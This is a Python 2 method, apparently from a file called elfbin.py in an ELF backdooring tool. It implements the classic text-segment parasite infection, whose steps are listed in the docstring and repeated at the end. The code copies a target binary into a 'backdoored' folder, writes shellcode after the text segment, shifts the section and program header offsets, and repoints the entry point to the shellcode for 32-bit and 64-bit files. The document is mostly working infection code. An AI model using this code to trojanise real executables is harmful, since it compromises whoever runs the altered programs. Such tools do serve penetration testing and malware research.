    def patch_elf(self):
        '''
        Circa 1998: http://vxheavens.com/lib/vsc01.html  <--Thanks to elfmaster
        6. Increase p_shoff by PAGE_SIZE in the ELF header
        7. Patch the insertion code (parasite) to jump to the entry point (original)
        1. Locate the text segment program header
            -Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz)
            -Increase p_filesz by account for the new code (parasite)
            -Increase p_memsz to account for the new code (parasite)
        2. For each phdr who's segment is after the insertion (text segment)
            -increase p_offset by PAGE_SIZE
        3. For the last shdr in the text segment
            -increase sh_len by the parasite length
        4. For each shdr who's section resides after the insertion
            -Increase sh_offset by PAGE_SIZE
        5. Physically insert the new code (parasite) and pad to PAGE_SIZE,
            into the file - text segment p_offset + p_filesz (original)
        '''

        self.support_check()
        
        if self.supported is False:
            print "[!] ELF Binary not supported"
            return False

        gather_result = self.gather_file_info()
        if gather_result is False:
            print "[!] Are you fuzzing?"
            return False
        
        self.output_options()

        if self.PREPROCESS is True:
            print "True"
            self.preprocess()

        if not os.path.exists("backdoored"):
            os.makedirs("backdoored")
        os_name = os.name
        if os_name == 'nt':
            self.backdoorfile = "backdoored\\" + self.OUTPUT
        else:
            self.backdoorfile = "backdoored/" + self.OUTPUT

        shutil.copy2(self.FILE, self.backdoorfile)

        print "[*] Getting shellcode length"

        resultShell = self.set_shells()
        if resultShell is False:
            print "[!] Could not set shell"
            return False
        self.bin_file = open(self.backdoorfile, "r+b")

        newBuffer = len(self.shellcode)

        self.bin_file.seek(24, 0)

        headerTracker = 0x0
        PAGE_SIZE = 4096
        newOffset = None
        #find range of the first PT_LOAD section
        for header, values in self.prog_hdr.iteritems():
            #print 'program header', header, values
            if values['p_flags'] == 0x5 and values['p_type'] == 0x1:
                #print "Found text segment"
                self.shellcode_vaddr = values['p_vaddr'] + values['p_filesz']
                beginOfSegment = values['p_vaddr']
                oldentry = self.e_entry
                sizeOfNewSegment = values['p_memsz'] + newBuffer
                LOCofNewSegment = values['p_filesz'] + newBuffer
                headerTracker = header
                newOffset = values['p_offset'] + values['p_filesz']

        #now that we have the shellcode startpoint, reassgin shellcode,
        #  there is no change in size
        print "[*] Setting selected shellcode"

        resultShell = self.set_shells()

        #SPLIT THE FILE
        self.bin_file.seek(0)
        if newOffset > 4294967296 or newOffset is None:
            print "[!] Fuzz Fuzz Fuzz the bin"
            return False
        if newOffset > self.file_size:
            print "[!] The file is really not that big"
            return False
        
        file_1st_part = self.bin_file.read(newOffset)
        #print file_1st_part.encode('hex')
        newSectionOffset = self.bin_file.tell()
        file_2nd_part = self.bin_file.read()

        self.bin_file.close()
        #print "Reopen file for adjustments"
        self.bin_file = open(self.backdoorfile, "w+b")
        self.bin_file.write(file_1st_part)
        self.bin_file.write(self.shellcode)
        self.bin_file.write("\x00" * (PAGE_SIZE - len(self.shellcode)))
        self.bin_file.write(file_2nd_part)
        if self.EI_CLASS == 0x01:
            #32 bit FILE
            #update section header table
            print "[*] Patching x86 Binary"
            self.bin_file.seek(24, 0)
            self.bin_file.seek(8, 1)
            if self.e_shoff + PAGE_SIZE > 4294967296:
                print "[!] Such fuzz..."
                return False
            self.bin_file.write(struct.pack(self.endian + "I", self.e_shoff + PAGE_SIZE))
            self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0)
            for i in range(self.e_shnum):
                #print "i", i, self.sec_hdr[i]['sh_offset'], newOffset
                if self.sec_hdr[i]['sh_offset'] >= newOffset:
                    #print "Adding page size"
                    if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 4294967296:
                        print "[!] Melkor is cool right?"
                        return False
                    self.bin_file.seek(16, 1)
                    self.bin_file.write(struct.pack(self.endian + "I", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE))
                    self.bin_file.seek(20, 1)
                elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr:
                    #print "adding newBuffer size"
                    if self.sec_hdr[i]['sh_offset'] + newBuffer > 4294967296:
                        print "[!] Someone is fuzzing..."
                        return False
                    self.bin_file.seek(20, 1)
                    self.bin_file.write(struct.pack(self.endian + "I", self.sec_hdr[i]['sh_size'] + newBuffer))
                    self.bin_file.seek(16, 1)
                else:
                    self.bin_file.seek(40, 1)
            #update the pointer to the section header table
            after_textSegment = False
            self.bin_file.seek(self.e_phoff, 0)
            for i in range(self.e_phnum):
                #print "header range i", i
                #print "self.shellcode_vaddr", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr)
                if i == headerTracker:
                    #print "Found Text Segment again"
                    after_textSegment = True
                    self.bin_file.seek(16, 1)
           
                    if self.prog_hdr[i]['p_filesz'] + newBuffer > 4294967296:
                        print "[!] Melkor you fuzzer you..."
                        return False
                    if self.prog_hdr[i]['p_memsz'] + newBuffer > 4294967296:
                        print "[!] Someone is a fuzzing..."
                        return False
                    self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_filesz'] + newBuffer))
                    self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_memsz'] + newBuffer))
                    self.bin_file.seek(8, 1)
                elif after_textSegment is True:
                    #print "Increasing headers after the addition"
                    self.bin_file.seek(4, 1)
                    if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 4294967296:
                        print "[!] Nice Fuzzer!"
                        return False
                    self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_offset'] + PAGE_SIZE))
                    self.bin_file.seek(24, 1)
                else:
                    self.bin_file.seek(32, 1)

            self.bin_file.seek(self.e_entryLocOnDisk, 0)
            if self.shellcode_vaddr >= 4294967295:
                print "[!] Oh hai Fuzzer!"
                return False
            self.bin_file.write(struct.pack(self.endian + "I", self.shellcode_vaddr))

            self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5

        else:
            #64 bit FILE
            print "[*] Patching x64 Binary"
            self.bin_file.seek(24, 0)
            self.bin_file.seek(16, 1)
            if self.e_shoff + PAGE_SIZE > 0x7fffffffffffffff:
                print "[!] Such fuzz..."
                return False
            self.bin_file.write(struct.pack(self.endian + "I", self.e_shoff + PAGE_SIZE))
            self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0)
            for i in range(self.e_shnum):
                #print "i", i, self.sec_hdr[i]['sh_offset'], newOffset
                if self.sec_hdr[i]['sh_offset'] >= newOffset:
                    #print "Adding page size"
                    self.bin_file.seek(24, 1)
                    if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 0x7fffffffffffffff:
                        print "[!] Fuzzing..."
                        return False
                    self.bin_file.write(struct.pack(self.endian + "Q", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE))
                    self.bin_file.seek(32, 1)
                elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr:
                    #print "adding newBuffer size"
                    self.bin_file.seek(32, 1)
                    if self.sec_hdr[i]['sh_offset'] + newBuffer > 0x7fffffffffffffff:
                        print "[!] Melkor is cool right?"
                        return False
                    self.bin_file.write(struct.pack(self.endian + "Q", self.sec_hdr[i]['sh_size'] + newBuffer))
                    self.bin_file.seek(24, 1)
                else:
                    self.bin_file.seek(64, 1)
            #update the pointer to the section header table
            after_textSegment = False
            self.bin_file.seek(self.e_phoff, 0)
            for i in range(self.e_phnum):
                #print "header range i", i
                #print "self.shellcode_vaddr", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr)
                if i == headerTracker:
                    #print "Found Text Segment again"
                    after_textSegment = True
                    self.bin_file.seek(32, 1)
                    if self.prog_hdr[i]['p_filesz'] + newBuffer > 0x7fffffffffffffff:
                        print "[!] Fuzz fuzz fuzz... "
                        return False
                    if self.prog_hdr[i]['p_memsz'] + newBuffer > 0x7fffffffffffffff:
                        print "[!] Someone is fuzzing..."
                        return False
                    self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_filesz'] + newBuffer))
                    self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_memsz'] + newBuffer))
                    self.bin_file.seek(8, 1)
                elif after_textSegment is True:
                    #print "Increasing headers after the addition"
                    self.bin_file.seek(8, 1)
                    if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 0x7fffffffffffffff:
                        print "[!] Nice fuzzer!"
                        return False
                    self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_offset'] + PAGE_SIZE))
                    self.bin_file.seek(40, 1)
                else:
                    self.bin_file.seek(56, 1)

            self.bin_file.seek(self.e_entryLocOnDisk, 0)
            if self.shellcode_vaddr > 0x7fffffffffffffff:
                print "[!] Fuzzing..."
                return False
            self.bin_file.write(struct.pack(self.endian + "Q", self.shellcode_vaddr))

            self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5

        self.bin_file.close()

        print "[!] Patching Complete"

        if self.tmp_file != None:
        
            if self.keep_temp is True:
                # tmpfilename_orginalname.exe
                print "[*] Saving TempFile to:", os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE 
                shutil.copy2(self.FILE, os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE )
            try:
                shutil.rmtree(self.tmp_file.name)
            except: # OSError:
                pass
                #print "[*] TempFile already removed."

        return True
Circa 1998: http://vxheavens.com/lib/vsc01.html  <--Thanks to elfmaster
6. Increase p_shoff by PAGE_SIZE in the ELF header
7. Patch the insertion code (parasite) to jump to the entry point (original)
1. Locate the text segment program header
-Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz)
-Increase p_filesz by account for the new code (parasite)
-Increase p_memsz to account for the new code (parasite)
2. For each phdr who's segment is after the insertion (text segment)
-increase p_offset by PAGE_SIZE
3. For the last shdr in the text segment
-increase sh_len by the parasite length
4. For each shdr who's section resides after the insertion
-Increase sh_offset by PAGE_SIZE
5. Physically insert the new code (parasite) and pad to PAGE_SIZE,
into the file - text segment p_offset + p_filesz (original)
elfbin.py